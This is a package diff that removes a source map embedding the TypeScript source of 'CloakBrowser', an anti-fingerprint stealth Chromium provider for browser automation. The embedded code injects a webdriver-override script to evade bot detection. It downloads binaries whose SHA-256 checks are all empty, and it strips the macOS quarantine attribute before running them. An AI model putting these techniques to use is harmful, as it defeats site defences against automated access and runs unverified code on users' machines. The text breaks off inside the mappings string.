@xopcai/xopc 0.0.149 → 0.0.151

package/dist/src/browser/providers/cloakbrowser.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"cloakbrowser.js","names":["osPlatform","osArch"],"sources":["../../../../src/browser/providers/cloakbrowser.ts"],"sourcesContent":["/**\n * CloakBrowser provider — anti-fingerprint Chromium with stealth capabilities.\n *\n * Manages CloakBrowser binary download, stealth launch, CDP connection,\n * keep-open process reuse, and temporary profile lifecycle.\n *\n * Ported from brocli's cloak.rs to TypeScript, using Playwright's connectOverCDP\n * to produce a standard Browser/BrowserContext pair.\n */\n\nimport { createHash } from 'node:crypto';\nimport { createReadStream, createWriteStream } from 'node:fs';\nimport { mkdir, mkdtemp, rm, stat } from 'node:fs/promises';\nimport { platform as osPlatform, arch as osArch, tmpdir } from 'node:os';\nimport { join, resolve } from 'node:path';\nimport { pipeline } from 'node:stream/promises';\nimport { Readable, Transform } from 'node:stream';\nimport { ChildProcess, spawn } from 'node:child_process';\n\nimport AdmZip from 'adm-zip';\nimport type { Browser, BrowserContext } from 'playwright-core';\n\nimport type { BrowserInstallProgress } from '../install-progress.js';\nimport { createLogger } from '../../utils/logger.js';\nimport { resolveBinDir } from '../../config/paths.js';\nimport { assertCacheDir, expandHome } from '../cache-dir-policy.js';\nimport { pickFreePort } from '../free-port.js';\nimport { loadPlaywrightCoreModule } from './playwright-doctor.js';\nimport {\n  buildStealthArgs,\n  filterCloakBrowserExtraArgs,\n  generateFingerprintSeed,\n  makeExecutable,\n  removeQuarantineAttr,\n  WEBDRIVER_OVERRIDE_SCRIPT,\n} from '../stealth.js';\nimport type { CloakBrowserConfig } from './types.js';\n\nconst log = createLogger('CloakBrowser');\n\n// ── Platform info ───────────────────────────────────────────────────────────\n\ninterface PlatformInfo {\n  tag: string;\n  chromiumVersion: string;\n  archiveExt: string;\n  executableRelativePath: string;\n  fingerprintPlatform: string;\n  /**\n   * Expected SHA-256 of the downloaded archive (lowercase hex). Empty string =\n   * verification opt-out for this platform; warned but not fatal. To populate:\n   * download the archive once, run `shasum -a 256 <file>`, paste here.\n   */\n  expectedSha256: string;\n}\n\nconst DOWNLOAD_BASE_URL = 'https://cloakbrowser.dev';\nconst GITHUB_DOWNLOAD_BASE_URL = 'https://github.com/CloakHQ/CloakBrowser/releases/download';\nconst XOPC_CLOAKBROWSER_PROXY_BASE =\n  process.env.XOPC_CLOAKBROWSER_DOWNLOAD_BASE?.trim().replace(/\\/$/, '') ||\n  'https://xopc.ai/api/cloakbrowser/download';\nconst READY_TIMEOUT_MS = 45_000;\nconst READY_POLL_INTERVAL_MS = 300;\nconst DEFAULT_KEEP_OPEN_CDP_PORT = 9222;\n\nconst PLATFORMS: Record<string, PlatformInfo> = {\n  'darwin-arm64': {\n    tag: 'darwin-arm64',\n    chromiumVersion: '145.0.7632.109.2',\n    archiveExt: '.tar.gz',\n    executableRelativePath: 'Chromium.app/Contents/MacOS/Chromium',\n    fingerprintPlatform: 'macos',\n    expectedSha256: '',\n  },\n  'darwin-x64': {\n    tag: 'darwin-x64',\n    chromiumVersion: '145.0.7632.109.2',\n    archiveExt: '.tar.gz',\n    executableRelativePath: 'Chromium.app/Contents/MacOS/Chromium',\n    fingerprintPlatform: 'macos',\n    expectedSha256: '',\n  },\n  'linux-arm64': {\n    tag: 'linux-arm64',\n    chromiumVersion: '146.0.7680.177.4',\n    archiveExt: '.tar.gz',\n    executableRelativePath: 'chrome',\n    fingerprintPlatform: 'windows',\n    expectedSha256: '',\n  },\n  'linux-x64': {\n    tag: 'linux-x64',\n    chromiumVersion: '146.0.7680.177.4',\n    archiveExt: '.tar.gz',\n    executableRelativePath: 'chrome',\n    fingerprintPlatform: 'windows',\n    expectedSha256: '',\n  },\n  'win32-x64': {\n    tag: 'windows-x64',\n    chromiumVersion: '146.0.7680.177.4',\n    archiveExt: '.zip',\n    executableRelativePath: 'chrome.exe',\n    fingerprintPlatform: 'windows',\n    expectedSha256: '',\n  },\n};\n\nfunction detectPlatform(): PlatformInfo {\n  const os = osPlatform();\n  const architecture = osArch();\n  const archMap: Record<string, string> = { arm64: 'arm64', x64: 'x64' };\n  const key = `${os}-${archMap[architecture] ?? architecture}`;\n  const info = PLATFORMS[key];\n  if (!info) {\n    throw new Error(`Unsupported CloakBrowser platform: ${os}/${architecture}`);\n  }\n  return info;\n}\n\n/** Test-only: enumerate platform manifests. */\nexport function listCloakBrowserPlatforms(): PlatformInfo[] {\n  return Object.values(PLATFORMS);\n}\n\nfunction archiveDownloadUrls(platformInfo: PlatformInfo): string[] {\n  const archiveName = `cloakbrowser-${platformInfo.tag}${platformInfo.archiveExt}`;\n  return [\n    `${XOPC_CLOAKBROWSER_PROXY_BASE}/${archiveName}`,\n    `${GITHUB_DOWNLOAD_BASE_URL}/chromium-v${platformInfo.chromiumVersion}/${archiveName}`,\n    `${DOWNLOAD_BASE_URL}/download/${archiveName}`,\n  ];\n}\n\n/** Test-only: resolved download URLs for a platform manifest (proxy first). */\nexport function cloakBrowserArchiveDownloadUrls(platformInfo: PlatformInfo): string[] {\n  return archiveDownloadUrls(platformInfo);\n}\n\nasync function sha256OfFile(path: string): Promise<string> {\n  const hash = createHash('sha256');\n  await pipeline(createReadStream(path), hash);\n  return hash.digest('hex');\n}\n\n// ── Binary management ───────────────────────────────────────────────────────\n\nconst CLOAKBROWSER_DIR_NAME = 'cloakbrowser';\n\n/** Default CloakBrowser home: ~/.xopc/bin/cloakbrowser (chromium-v*, profiles/, …). */\nexport function defaultCloakBrowserCacheDir(): string {\n  return join(resolveBinDir(), CLOAKBROWSER_DIR_NAME);\n}\n\n/** Resolve configured or default CloakBrowser cache root. */\nexport function resolveCloakBrowserCacheDir(configured?: string): string {\n  if (configured?.trim()) {\n    const resolved = assertCacheDir(configured.trim());\n    // Legacy configs used ~/.xopc/bin — normalize to ~/.xopc/bin/cloakbrowser.\n    if (resolve(resolved) === resolve(resolveBinDir())) {\n      return defaultCloakBrowserCacheDir();\n    }\n    return resolved;\n  }\n  return defaultCloakBrowserCacheDir();\n}\n\nasync function resolveCloakExecutablePath(\n  cacheDir: string,\n  platformInfo: PlatformInfo,\n  configuredBinaryPath?: string,\n): Promise<{ execPath: string; installed: boolean; customBinaryPath: boolean }> {\n  const trimmed = configuredBinaryPath?.trim();\n  const autoPath = binaryPath(cacheDir, platformInfo);\n  if (!trimmed) {\n    return {\n      execPath: autoPath,\n      installed: await fileExists(autoPath),\n      customBinaryPath: false,\n    };\n  }\n\n  const customPath = resolve(expandHome(trimmed));\n  if (await fileExists(customPath)) {\n    return { execPath: customPath, installed: true, customBinaryPath: true };\n  }\n\n  if (await fileExists(autoPath)) {\n    return { execPath: autoPath, installed: true, customBinaryPath: true };\n  }\n\n  return { execPath: customPath, installed: false, customBinaryPath: true };\n}\n\nfunction binaryDir(cacheDir: string, platformInfo: PlatformInfo): string {\n  return join(cacheDir, `chromium-v${platformInfo.chromiumVersion}`);\n}\n\nfunction binaryPath(cacheDir: string, platformInfo: PlatformInfo): string {\n  return join(binaryDir(cacheDir, platformInfo), platformInfo.executableRelativePath);\n}\n\nasync function fileExists(path: string): Promise<boolean> {\n  try {\n    await stat(path);\n    return true;\n  } catch {\n    return false;\n  }\n}\n\nfunction runCommand(command: string, args: string[]): Promise<void> {\n  return new Promise((resolve, reject) => {\n    const child = spawn(command, args, { stdio: ['ignore', 'ignore', 'pipe'] });\n    let stderr = '';\n    child.stderr?.on('data', (data: Buffer) => {\n      stderr += data.toString();\n    });\n    child.once('error', reject);\n    child.once('exit', (code, signal) => {\n      if (code === 0) {\n        resolve();\n        return;\n      }\n      const reason = signal ? `signal ${signal}` : `exit code ${code ?? 'unknown'}`;\n      const detail = stderr.trim() ? `: ${stderr.trim().slice(0, 500)}` : '';\n      reject(new Error(`${command} failed with ${reason}${detail}`));\n    });\n  });\n}\n\nasync function extractArchive(archivePath: string, targetDir: string, platformInfo: PlatformInfo): Promise<void> {\n  if (platformInfo.archiveExt === '.tar.gz') {\n    await runCommand('tar', ['-xzf', archivePath, '-C', targetDir]);\n    return;\n  }\n\n  if (platformInfo.archiveExt === '.zip') {\n    const zip = new AdmZip(archivePath);\n    zip.extractAllTo(targetDir, true);\n    return;\n  }\n\n  throw new Error(`Unsupported CloakBrowser archive format: ${platformInfo.archiveExt}`);\n}\n\n/**\n * Download and extract CloakBrowser binary.\n *\n * After download, verifies SHA-256 against the platform manifest when one is\n * present. Set `XOPC_CLOAKBROWSER_SKIP_HASH=1` to bypass (development only;\n * the gateway logs a warning when the env var is honoured).\n */\nasync function downloadArchiveToFile(\n  url: string,\n  archivePath: string,\n  onProgress?: (progress: BrowserInstallProgress) => void | Promise<void>,\n  signal?: AbortSignal,\n): Promise<void> {\n  if (signal?.aborted) throw new Error('Install cancelled');\n\n  const response = await fetch(url, { redirect: 'follow', signal });\n  if (!response.ok || !response.body) {\n    throw new Error(`download returned HTTP ${response.status}`);\n  }\n\n  const contentLength = response.headers.get('content-length');\n  const totalBytes =\n    contentLength && Number.isFinite(Number(contentLength)) ? Number(contentLength) : null;\n  let bytesReceived = 0;\n\n  let lastReportAt = 0;\n  const report = (force = false) => {\n    const now = Date.now();\n    if (!force && now - lastReportAt < 250) return;\n    lastReportAt = now;\n    void onProgress?.({\n      phase: 'downloading',\n      message: 'Downloading CloakBrowser archive',\n      bytesReceived,\n      totalBytes,\n      percent:\n        totalBytes && totalBytes > 0\n          ? Math.min(100, Math.round((bytesReceived / totalBytes) * 100))\n          : null,\n    });\n  };\n\n  report(true);\n\n  const nodeStream = Readable.fromWeb(response.body as Parameters<typeof Readable.fromWeb>[0]);\n  const counting = new Transform({\n    transform(chunk, _encoding, callback) {\n      bytesReceived += chunk.length;\n      report();\n      callback(null, chunk);\n    },\n  });\n\n  await pipeline(nodeStream, counting, createWriteStream(archivePath));\n  report(true);\n}\n\nasync function downloadBinary(\n  cacheDir: string,\n  platformInfo: PlatformInfo,\n  onProgress?: (progress: BrowserInstallProgress) => void | Promise<void>,\n  signal?: AbortSignal,\n): Promise<string> {\n  const targetDir = binaryDir(cacheDir, platformInfo);\n  const execPath = binaryPath(cacheDir, platformInfo);\n\n  if (await fileExists(execPath)) {\n    log.info({ path: execPath }, 'CloakBrowser binary already cached');\n    await onProgress?.({ phase: 'ready', message: 'CloakBrowser binary already cached', percent: 100 });\n    return execPath;\n  }\n\n  await mkdir(cacheDir, { recursive: true });\n  await onProgress?.({ phase: 'starting', message: 'Preparing CloakBrowser download' });\n\n  const archiveName = `cloakbrowser-${platformInfo.tag}${platformInfo.archiveExt}`;\n  const urls = archiveDownloadUrls(platformInfo);\n  const expectedSha256 = platformInfo.expectedSha256.trim().toLowerCase();\n  const skipHash = process.env.XOPC_CLOAKBROWSER_SKIP_HASH === '1';\n\n  log.info({ version: platformInfo.chromiumVersion, platform: platformInfo.tag }, 'Downloading CloakBrowser...');\n\n  let downloadError: Error | undefined;\n  for (const url of urls) {\n    if (signal?.aborted) throw new Error('Install cancelled');\n    const stagingDir = await mkdtemp(join(cacheDir, '.download-'));\n    const archivePath = join(stagingDir, archiveName);\n    try {\n      await downloadArchiveToFile(url, archivePath, onProgress, signal);\n\n      if (expectedSha256) {\n        if (signal?.aborted) throw new Error('Install cancelled');\n        await onProgress?.({ phase: 'verifying', message: 'Verifying SHA-256 checksum' });\n        const actual = await sha256OfFile(archivePath);\n        if (actual !== expectedSha256) {\n          throw new Error(\n            `SHA-256 mismatch: expected ${expectedSha256}, got ${actual}. Aborted to avoid running unverified binary.`,\n          );\n        }\n        log.info({ archivePath }, 'SHA-256 verified');\n      } else if (skipHash) {\n        log.warn(\n          { platform: platformInfo.tag, version: platformInfo.chromiumVersion },\n          'CloakBrowser SHA-256 verification skipped (XOPC_CLOAKBROWSER_SKIP_HASH=1)',\n        );\n      } else {\n        log.warn(\n          { platform: platformInfo.tag, version: platformInfo.chromiumVersion },\n          'CloakBrowser manifest has no expectedSha256; integrity NOT verified',\n        );\n      }\n\n      await onProgress?.({ phase: 'extracting', message: 'Extracting CloakBrowser archive' });\n      log.info({ archivePath }, 'Extracting CloakBrowser archive...');\n      await rm(targetDir, { recursive: true, force: true }).catch(() => {});\n      await mkdir(targetDir, { recursive: true });\n      await extractArchive(archivePath, targetDir, platformInfo);\n\n      if (!(await fileExists(execPath))) {\n        throw new Error(`archive did not contain expected executable: ${execPath}`);\n      }\n\n      await makeExecutable(execPath);\n      await removeQuarantineAttr(execPath);\n      await rm(stagingDir, { recursive: true, force: true }).catch(() => {});\n\n      await onProgress?.({ phase: 'ready', message: 'CloakBrowser binary ready', percent: 100 });\n      log.info({ path: execPath }, 'CloakBrowser binary ready');\n      return execPath;\n    } catch (e) {\n      await rm(stagingDir, { recursive: true, force: true }).catch(() => {});\n      await rm(targetDir, { recursive: true, force: true }).catch(() => {});\n      downloadError = e instanceof Error ? e : new Error(String(e));\n      log.debug({ url, errorMessage: downloadError.message }, 'Download attempt failed');\n    }\n  }\n\n  throw new Error(\n    `Failed to download CloakBrowser v${platformInfo.chromiumVersion} for ${platformInfo.tag}: ${downloadError?.message ?? 'all URLs failed'}`,\n  );\n}\n\n// ── CDP endpoint discovery ──────────────────────────────────────────────────\n\nasync function waitForCdpEndpoint(port: number): Promise<string> {\n  const deadline = Date.now() + READY_TIMEOUT_MS;\n\n  while (Date.now() < deadline) {\n    try {\n      const response = await fetch(`http://127.0.0.1:${port}/json/version`);\n      if (response.ok) {\n        const data = (await response.json()) as { webSocketDebuggerUrl?: string };\n        if (data.webSocketDebuggerUrl) {\n          return data.webSocketDebuggerUrl;\n        }\n      }\n    } catch {\n      // Not ready yet\n    }\n    await new Promise((resolve) => setTimeout(resolve, READY_POLL_INTERVAL_MS));\n  }\n\n  throw new Error(`CloakBrowser did not expose CDP page within ${READY_TIMEOUT_MS / 1000}s on port ${port}`);\n}\n\n/** Try to find an existing CDP page endpoint on the given port. */\nasync function reuseOrCreatePageEndpoint(port: number): Promise<string | null> {\n  try {\n    const response = await fetch(`http://127.0.0.1:${port}/json/list`, {\n      signal: AbortSignal.timeout(2000),\n    });\n    if (!response.ok) return null;\n    const pages = (await response.json()) as Array<{ webSocketDebuggerUrl?: string; type?: string }>;\n    const page = pages.find((p) => p.type === 'page' && p.webSocketDebuggerUrl);\n    if (page?.webSocketDebuggerUrl) return page.webSocketDebuggerUrl;\n\n    // No pages — create one\n    const newResponse = await fetch(`http://127.0.0.1:${port}/json/new`);\n    if (newResponse.ok) {\n      const newPage = (await newResponse.json()) as { webSocketDebuggerUrl?: string };\n      if (newPage.webSocketDebuggerUrl) return newPage.webSocketDebuggerUrl;\n    }\n  } catch {\n    // Not running\n  }\n  return null;\n}\n\n// ── Provider ────────────────────────────────────────────────────────────────\n\nexport interface CloakBrowserLaunchResult {\n  browser?: Browser;\n  context?: BrowserContext;\n  childProcess: ChildProcess | null;\n  temporaryProfileDir: string | null;\n  cdpPort: number;\n  userDataDir: string;\n  reused: boolean;\n  pid: number | null;\n}\n\nfunction resolveCloakBrowserProfilePaths(\n  config: CloakBrowserConfig,\n  cacheDir: string,\n): { userDataDir: string; temporaryProfileDir: string | null } {\n  if (config.userDataDir) {\n    return { userDataDir: config.userDataDir, temporaryProfileDir: null };\n  }\n  if (config.temporaryProfile) {\n    const userDataDir = join(tmpdir(), `xopc-cloakbrowser-${process.pid}-${generateFingerprintSeed()}`);\n    return { userDataDir, temporaryProfileDir: userDataDir };\n  }\n  return { userDataDir: join(cacheDir, 'profiles', 'default'), temporaryProfileDir: null };\n}\n\n/** Resolve the persistent profile directory agents use (not ephemeral temp dirs). */\nexport function resolveCloakBrowserPersistentProfileDir(config: CloakBrowserConfig = {}): string {\n  if (config.userDataDir) return config.userDataDir;\n  const cacheDir = resolveCloakBrowserCacheDir(config.cacheDir);\n  return join(cacheDir, 'profiles', 'default');\n}\n\nexport interface CloakBrowserRuntimeStatus {\n  running: boolean;\n  port: number;\n  userDataDir: string;\n  temporaryProfile: boolean;\n}\n\nasync function probeCdpPort(port: number): Promise<boolean> {\n  try {\n    const response = await fetch(`http://127.0.0.1:${port}/json/version`, {\n      signal: AbortSignal.timeout(2000),\n    });\n    return response.ok;\n  } catch {\n    return false;\n  }\n}\n\n/** Probe whether CloakBrowser CDP is listening on the configured keep-open port. */\nexport async function probeCloakBrowserRuntime(\n  config: CloakBrowserConfig = {},\n): Promise<CloakBrowserRuntimeStatus> {\n  const keepOpen = config.keepOpen ?? true;\n  const cdpPort = config.cdpPort ?? (keepOpen ? DEFAULT_KEEP_OPEN_CDP_PORT : DEFAULT_KEEP_OPEN_CDP_PORT);\n  const cacheDir = resolveCloakBrowserCacheDir(config.cacheDir);\n  const { userDataDir } = resolveCloakBrowserProfilePaths(config, cacheDir);\n  const running = await probeCdpPort(cdpPort);\n  return {\n    running,\n    port: cdpPort,\n    userDataDir,\n    temporaryProfile: config.temporaryProfile === true,\n  };\n}\n\nfunction launchResultMeta(\n  cdpPort: number,\n  userDataDir: string,\n  reused: boolean,\n  pid: number | null,\n  childProcess: ChildProcess | null,\n  temporaryProfileDir: string | null,\n): Pick<\n  CloakBrowserLaunchResult,\n  'cdpPort' | 'userDataDir' | 'reused' | 'pid' | 'childProcess' | 'temporaryProfileDir'\n> {\n  return { cdpPort, userDataDir, reused, pid, childProcess, temporaryProfileDir };\n}\n\n/**\n * Launch or connect to a CloakBrowser instance and return a Playwright Browser + Context.\n */\nexport async function launchCloakBrowser(\n  config: CloakBrowserConfig = {},\n): Promise<CloakBrowserLaunchResult> {\n  const platformInfo = detectPlatform();\n  const cacheDir = resolveCloakBrowserCacheDir(config.cacheDir);\n  const keepOpen = config.keepOpen ?? true;\n  const reuseExisting = config.reuseExisting ?? keepOpen;\n\n  // Resolve binary\n  const configuredBinary = config.binaryPath?.trim() || undefined;\n  const execPath = configuredBinary\n    ? (await resolveCloakExecutablePath(cacheDir, platformInfo, configuredBinary)).execPath\n    : await downloadBinary(cacheDir, platformInfo, config.onProgress, config.signal);\n  if (configuredBinary) {\n    await makeExecutable(execPath);\n    await removeQuarantineAttr(execPath);\n  }\n\n  // Resolve CDP port\n  const cdpPort = config.cdpPort ?? (keepOpen ? DEFAULT_KEEP_OPEN_CDP_PORT : await pickFreePort());\n  const skipPlaywrightConnect = config.skipPlaywrightConnect === true;\n  const { userDataDir, temporaryProfileDir: plannedTempProfileDir } = resolveCloakBrowserProfilePaths(\n    config,\n    cacheDir,\n  );\n\n  // Try to reuse existing instance\n  if (reuseExisting) {\n    const existingEndpoint = await reuseOrCreatePageEndpoint(cdpPort);\n    if (existingEndpoint) {\n      log.info({ port: cdpPort }, 'Reusing existing CloakBrowser instance');\n      const meta = launchResultMeta(cdpPort, userDataDir, true, null, null, null);\n      if (skipPlaywrightConnect) {\n        return meta;\n      }\n      const pw = await loadPlaywrightCoreModule();\n      const chromium = pw.chromium ?? (pw as { default?: { chromium?: (typeof pw)['chromium'] } }).default?.chromium;\n      if (!chromium?.connectOverCDP) throw new Error('playwright-core does not support connectOverCDP');\n\n      const wsUrl = `ws://127.0.0.1:${cdpPort}`;\n      // connectOverCDP wants the browser-level WS URL\n      const versionResp = await fetch(`http://127.0.0.1:${cdpPort}/json/version`);\n      const versionData = (await versionResp.json()) as { webSocketDebuggerUrl?: string };\n      const browserWsUrl = versionData.webSocketDebuggerUrl ?? wsUrl;\n\n      const browser = await chromium.connectOverCDP(browserWsUrl);\n      const contexts = browser.contexts();\n      const context = contexts.length > 0 ? contexts[0] : await browser.newContext();\n\n      // Inject stealth script\n      await context.addInitScript(WEBDRIVER_OVERRIDE_SCRIPT);\n\n      return { browser, context, ...meta };\n    }\n  }\n\n  // Resolve user data dir for a new launch\n  let temporaryProfileDir: string | null = plannedTempProfileDir;\n  await mkdir(userDataDir, { recursive: true });\n\n  // Build launch args\n  const stealthArgs = buildStealthArgs(filterCloakBrowserExtraArgs(config.extraArgs ?? []), {\n    timezone: config.timezone,\n    locale: config.locale,\n    webrtcIp: config.webrtcIp,\n    fingerprintPlatform: config.fingerprintPlatform ?? platformInfo.fingerprintPlatform,\n  });\n\n  const launchArgs = [\n    `--remote-debugging-address=127.0.0.1`,\n    `--remote-debugging-port=${cdpPort}`,\n    `--user-data-dir=${userDataDir}`,\n    '--no-first-run',\n    '--no-default-browser-check',\n    ...stealthArgs,\n  ];\n\n  if (config.headless) {\n    launchArgs.push('--headless=new');\n  }\n\n  // macOS keychain bypass\n  if (osPlatform() === 'darwin') {\n    launchArgs.push('--use-mock-keychain');\n  }\n\n  await config.onProgress?.({ phase: 'running', message: 'Launching CloakBrowser for verification' });\n  if (config.signal?.aborted) throw new Error('Install cancelled');\n\n  log.info(\n    { execPath, port: cdpPort, headless: !!config.headless, keepOpen },\n    'Launching CloakBrowser',\n  );\n\n  // Spawn browser process\n  const child = spawn(execPath, launchArgs, {\n    stdio: ['ignore', 'ignore', 'ignore'],\n    detached: keepOpen, // Detach so it survives parent exit if keep-open\n  });\n\n  let onLaunchError: ((error: Error) => void) | null = null;\n  let onLaunchExit: ((code: number | null, signal: NodeJS.Signals | null) => void) | null = null;\n  const launchFailure = new Promise<never>((_resolve, reject) => {\n    onLaunchError = (error) => {\n      reject(new Error(`Failed to launch CloakBrowser at ${execPath}: ${error.message}`));\n    };\n    onLaunchExit = (code, signal) => {\n      const reason = signal ? `signal ${signal}` : `exit code ${code ?? 'unknown'}`;\n      reject(new Error(`CloakBrowser exited before CDP became ready (${reason})`));\n    };\n    child.once('error', onLaunchError);\n    child.once('exit', onLaunchExit);\n  });\n\n  if (keepOpen) {\n    child.unref();\n  }\n\n  // Wait for CDP to become available\n  let browserWsUrl: string;\n  try {\n    browserWsUrl = await Promise.race([waitForCdpEndpoint(cdpPort), launchFailure]);\n    if (onLaunchError) child.off('error', onLaunchError);\n    if (onLaunchExit) child.off('exit', onLaunchExit);\n  } catch (e) {\n    if (onLaunchError) child.off('error', onLaunchError);\n    if (onLaunchExit) child.off('exit', onLaunchExit);\n    child.kill();\n    if (temporaryProfileDir) {\n      await rm(temporaryProfileDir, { recursive: true, force: true }).catch(() => {});\n    }\n    throw e;\n  }\n\n  // Get browser-level WS URL\n  let browserLevelWsUrl: string;\n  try {\n    const versionResp = await fetch(`http://127.0.0.1:${cdpPort}/json/version`);\n    const versionData = (await versionResp.json()) as { webSocketDebuggerUrl?: string };\n    browserLevelWsUrl = versionData.webSocketDebuggerUrl ?? browserWsUrl;\n  } catch {\n    browserLevelWsUrl = browserWsUrl;\n  }\n\n  const meta = launchResultMeta(\n    cdpPort,\n    userDataDir,\n    false,\n    child.pid ?? null,\n    keepOpen ? null : child,\n    temporaryProfileDir,\n  );\n\n  if (skipPlaywrightConnect) {\n    log.info({ port: cdpPort, pid: child.pid }, 'CloakBrowser launched (CDP only)');\n    return meta;\n  }\n\n  // Connect Playwright over CDP\n  const pw = await loadPlaywrightCoreModule();\n  const chromium = pw.chromium ?? (pw as { default?: { chromium?: (typeof pw)['chromium'] } }).default?.chromium;\n  if (!chromium?.connectOverCDP) {\n    child.kill();\n    throw new Error('playwright-core does not support connectOverCDP');\n  }\n\n  const browser = await chromium.connectOverCDP(browserLevelWsUrl);\n  const contexts = browser.contexts();\n  const context = contexts.length > 0 ? contexts[0] : await browser.newContext();\n\n  // Inject stealth overrides\n  await context.addInitScript(WEBDRIVER_OVERRIDE_SCRIPT);\n\n  log.info({ port: cdpPort, pid: child.pid }, 'CloakBrowser launched and connected');\n\n  return {\n    browser,\n    context,\n    ...meta,\n  };\n}\n\n/**\n * Cleanup a CloakBrowser session — kill process and remove temp profile if applicable.\n */\nexport async function cleanupCloakBrowser(\n  childProcess: ChildProcess | null,\n  temporaryProfileDir: string | null,\n): Promise<void> {\n  if (childProcess) {\n    childProcess.kill();\n    // Wait briefly for exit\n    await new Promise<void>((resolve) => {\n      const timer = setTimeout(resolve, 2000);\n      childProcess.once('exit', () => {\n        clearTimeout(timer);\n        resolve();\n      });\n    });\n  }\n  if (temporaryProfileDir) {\n    await rm(temporaryProfileDir, { recursive: true, force: true }).catch(() => {});\n    log.debug({ dir: temporaryProfileDir }, 'Cleaned up temporary profile');\n  }\n}\n\n// ── Doctor / status ─────────────────────────────────────────────────────────\n\nexport interface CloakBrowserDoctorResult {\n  installed: boolean;\n  version: string | null;\n  binaryPath: string | null;\n  platform: string;\n  cacheDir: string;\n  expectedSha256: string;\n  /** Primary URL the install flow would fetch from. */\n  downloadUrl: string;\n  /** Fallback URLs (rendered as alternatives in the install confirm dialog). */\n  fallbackUrls: string[];\n  /** True when `binaryPath` was user-supplied (UI should surface a warning). */\n  customBinaryPath: boolean;\n}\n\n/**\n * Download (if needed), launch headlessly to verify, then return doctor status.\n * Used by gateway install endpoints and CLI.\n */\nexport async function installCloakBrowser(\n  config: CloakBrowserConfig = {},\n): Promise<CloakBrowserDoctorResult> {\n  const result = await launchCloakBrowser({\n    headless: true,\n    temporaryProfile: true,\n    keepOpen: false,\n    cacheDir: config.cacheDir,\n    binaryPath: config.binaryPath,\n    onProgress: config.onProgress,\n    signal: config.signal,\n  });\n  await result.browser?.close().catch(() => {});\n  await cleanupCloakBrowser(result.childProcess, result.temporaryProfileDir);\n  return cloakBrowserDoctor({ cacheDir: config.cacheDir, binaryPath: config.binaryPath });\n}\n\n/** Check CloakBrowser installation status. */\nexport async function cloakBrowserDoctor(\n  config: CloakBrowserConfig = {},\n): Promise<CloakBrowserDoctorResult> {\n  const platformInfo = detectPlatform();\n  const cacheDir = resolveCloakBrowserCacheDir(config.cacheDir);\n  const { execPath, installed, customBinaryPath } = await resolveCloakExecutablePath(\n    cacheDir,\n    platformInfo,\n    config.binaryPath,\n  );\n  const [primary, ...fallbacks] = archiveDownloadUrls(platformInfo);\n\n  return {\n    installed,\n    version: installed ? platformInfo.chromiumVersion : null,\n    binaryPath: installed ? execPath : null,\n    platform: platformInfo.tag,\n    cacheDir,\n    expectedSha256: platformInfo.expectedSha256,\n    downloadUrl: primary ?? '',\n    fallbackUrls: fallbacks,\n    customBinaryPath,\n  };\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;aAuBqD;YACC;uBACc;AAapE,MAAM,MAAM,aAAa,eAAe;AAkBxC,MAAM,oBAAoB;AAC1B,MAAM,2BAA2B;AACjC,MAAM,+BACJ,QAAQ,IAAI,iCAAiC,MAAM,CAAC,QAAQ,OAAO,GAAG,IACtE;AACF,MAAM,mBAAmB;AACzB,MAAM,yBAAyB;AAC/B,MAAM,6BAA6B;AAEnC,MAAM,YAA0C;CAC9C,gBAAgB;EACd,KAAK;EACL,iBAAiB;EACjB,YAAY;EACZ,wBAAwB;EACxB,qBAAqB;EACrB,gBAAgB;EACjB;CACD,cAAc;EACZ,KAAK;EACL,iBAAiB;EACjB,YAAY;EACZ,wBAAwB;EACxB,qBAAqB;EACrB,gBAAgB;EACjB;CACD,eAAe;EACb,KAAK;EACL,iBAAiB;EACjB,YAAY;EACZ,wBAAwB;EACxB,qBAAqB;EACrB,gBAAgB;EACjB;CACD,aAAa;EACX,KAAK;EACL,iBAAiB;EACjB,YAAY;EACZ,wBAAwB;EACxB,qBAAqB;EACrB,gBAAgB;EACjB;CACD,aAAa;EACX,KAAK;EACL,iBAAiB;EACjB,YAAY;EACZ,wBAAwB;EACxB,qBAAqB;EACrB,gBAAgB;EACjB;CACF;AAED,SAAS,iBAA+B;CACtC,MAAM,KAAKA,UAAY;CACvB,MAAM,eAAeC,MAAQ;CAG7B,MAAM,OAAO,UAAU,GADR,GAAG,GAAG;EADqB,OAAO;EAAS,KAAK;EACnC,CAAC,iBAAiB;AAE9C,KAAI,CAAC,KACH,OAAM,IAAI,MAAM,sCAAsC,GAAG,GAAG,eAAe;AAE7E,QAAO;;;AAIT,SAAgB,4BAA4C;AAC1D,QAAO,OAAO,OAAO,UAAU;;AAGjC,SAAS,oBAAoB,cAAsC;CACjE,MAAM,cAAc,gBAAgB,aAAa,MAAM,aAAa;AACpE,QAAO;EACL,GAAG,6BAA6B,GAAG;EACnC,GAAG,yBAAyB,aAAa,aAAa,gBAAgB,GAAG;EACzE,GAAG,kBAAkB,YAAY;EAClC;;;AAIH,SAAgB,gCAAgC,cAAsC;AACpF,QAAO,oBAAoB,aAAa;;AAG1C,eAAe,aAAa,MAA+B;CACzD,MAAM,OAAO,WAAW,SAAS;AACjC,OAAM,SAAS,iBAAiB,KAAK,EAAE,KAAK;AAC5C,QAAO,KAAK,OAAO,MAAM;;AAK3B,MAAM,wBAAwB;;AAG9B,SAAgB,8BAAsC;AACpD,QAAO,KAAK,eAAe,EAAE,sBAAsB;;;AAIrD,SAAgB,4BAA4B,YAA6B;AACvE,KAAI,YAAY,MAAM,EAAE;EACtB,MAAM,WAAW,eAAe,WAAW,MAAM,CAAC;AAElD,MAAI,QAAQ,SAAS,KAAK,QAAQ,eAAe,CAAC,CAChD,QAAO,6BAA6B;AAEtC,SAAO;;AAET,QAAO,6BAA6B;;AAGtC,eAAe,2BACb,UACA,cACA,sBAC8E;CAC9E,MAAM,UAAU,sBAAsB,MAAM;CAC5C,MAAM,WAAW,WAAW,UAAU,aAAa;AACnD,KAAI,CAAC,QACH,QAAO;EACL,UAAU;EACV,WAAW,MAAM,WAAW,SAAS;EACrC,kBAAkB;EACnB;CAGH,MAAM,aAAa,QAAQ,WAAW,QAAQ,CAAC;AAC/C,KAAI,MAAM,WAAW,WAAW,CAC9B,QAAO;EAAE,UAAU;EAAY,WAAW;EAAM,kBAAkB;EAAM;AAG1E,KAAI,MAAM,WAAW,SAAS,CAC5B,QAAO;EAAE,UAAU;EAAU,WAAW;EAAM,kBAAkB;EAAM;AAGxE,QAAO;EAAE,UAAU;EAAY,WAAW;EAAO,kBAAkB;EAAM;;AAG3E,SAAS,